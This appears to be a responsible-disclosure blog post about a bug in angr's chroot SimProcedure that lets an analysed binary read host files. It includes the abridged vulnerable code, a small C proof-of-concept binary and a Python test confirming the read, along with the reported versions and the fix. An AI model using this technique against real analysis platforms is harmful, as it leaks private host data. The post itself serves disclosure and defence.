I am Chroot! Host File Read in angr
Introduction
Binary analysis tools, especially those like angr, typically come with an expectation that system interaction will be emulated or symbolic and won’t interact directly with host state unless explicitly permitted to do so. If the input binary is untrusted, then an attacker could leverage host interactivity issues to extract host information influence downstream processing. In this post, I will detail a bug which can demonstrate the former. The risk is concrete host information which winds up in angr analysis results might be leveraged by an attacker to gain insights into a host analysis platform.
Background
chroot: This is a system call which allows a process with sufficient permissions to change the apparent root directory path resolution for itself and its children. You provide a real directory name as an argument and that directory will become “/” in subsequent path based file operations.SimProcedure: This is a hook for symbolic execution which allows the host to intercept and compute a response to a given function call. This is often used to implement guest behavior for common library functions or syscalls.concrete_fs: an argument in angr which enables the use of the host filesystem for guest file operations.
Host File Read in Angr
A binary analyzed by angr using default project settings can use the
chroot system call to mount a host directory. Subsequent open/read calls
can then read host contents (that the angr process has permissions for) without host approval and no concrete_fs requirement.
Note: The symbolic execution engine must reach the chroot procedure. Just
having it in the binary is not sufficient.
First, let’s examine the key part of the
chroot SimProcedure in angr 9.3.3 (abridged):
class chroot(angr.SimProcedure):
...
def run(self, file_path):
...
if not os.path.exists(newPath):
return -1
self.state.fs.mount("/", angr.SimHostFilesystem(newPath))
os.path.exists(newPath) tests for the existence of a file on the host
filesystem. angr.SimHostFilesystem(newPath) creates a host filesystem object.
state.fs.mount("/", ...) mounts that host based filesystem object to the
simulated root path, making it accessible to guest symbolic execution paths.
No check for concrete_fs is made. This is the trust-boundary violation.
The following binary, when compiled, will exercise the vulnerability:
/*
* Minimal x86-64 Linux guest for validating angr's chroot SimProcedure.
*
* Build from the angr checkout when the binaries repository is beside it:
*
* gcc -O0 -o ../binaries/tests/x86_64/chroot_read \
* tests/procedures/posix/chroot_read/chroot_read.c
*
* The host directory to chroot into is argv[1].
*/
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char buffer[64];
int fd;
ssize_t size;
if (chroot(argv[1]) < 0)
return 1;
fd = open("/marker.txt", O_RDONLY);
size = read(fd, buffer, sizeof(buffer));
if (size > 0)
write(STDOUT_FILENO, buffer, size);
close(fd);
return 0;
}
This binary simply calls chroot with an input argument. Assume marker.txt
is a private file on the host system and there is an angr analysis which
populates a report with the resolved stdout after symbolic execution. Then
that report would contain the content of marker.txt. An example of such an
analysis is as follows:
def test_chroot_read(binary: str, expected: str) -> None:
marker = b"ANGR_CHROOT_HOST_READ_OK\n"
# This directory and marker exist only on the analysis host. The Linux
# guest is symbolically executed by angr; it is never run natively.
with tempfile.TemporaryDirectory() as host_directory:
Path(host_directory, "marker.txt").write_bytes(marker)
project = angr.Project(binary, auto_load_libs=False)
state = project.factory.entry_state(
args=[binary, Path(host_directory).resolve().as_posix()],
concrete_fs=False,
)
simulation = project.factory.simgr(state)
simulation.run()
assert not simulation.errored
assert simulation.deadended
stdout = [state.posix.dumps(1) for state in simulation.deadended]
host_file_was_read = any(marker in output for output in stdout)
print(f"angr {angr.__version__}: stdout={stdout!r}")
if expected == "affected":
assert host_file_was_read
elif expected == "fixed":
# The simulated open may still succeed with symbolic file content.
assert not host_file_was_read
else:
raise ValueError("expected must be 'affected' or 'fixed'")
This issue was reported directly to the angr team via email, as recommended by the angr security policy, on August 28, 2026. The versions of angr affected: 9.2.12 through 9.3.3
What About write?
Upon finding this, my first question was if this could be turned into a write
operation.
Fortunately, host files are opened with "rb" permissions by default in the
SimHostFilesystem implementation.
Guest operations only affect simulated storage.
Resolution
The fix can be found in angr/angr#7017: Implement chroot properly. To summarize the angr team’s changes, they:
- added
_rootto track, internally, the root directory of the simulated filesystem - changed
chrootSimProcedure to use guest simulated fs relative to this root rather than forcing the host mount - added a warning to the user if a chroot request path resolves to an already
configured
SimHostFileSystem, such as one created withconcrete_fs=True
Thanks again to the angr team for the quick fix and turnaround!
References
Linux manual: chroot(2): Native Linux behavior, permissions, and limitations.
angr documentation: Hooks and SimProcedures: How Python procedures replace modeled guest behavior.
angr security policy at the fix commit: The project’s security expectations and private reporting guidance.
angr 9.3.3: Linux state initialization and concrete_fs: State construction and explicit host filesystem configuration.
angr 9.3.3: Vulnerable chroot SimProcedure: The procedure that creates a host-backed mount from the guest-supplied path.
angr 9.3.3: Host-backed filesystem implementation: Host-file loading and simulated filesystem caching.
angr 9.3.3: Simulated file implementation: File operations within simulated storage.
angr/angr#7017: Implement chroot properly: The fix and its regression tests.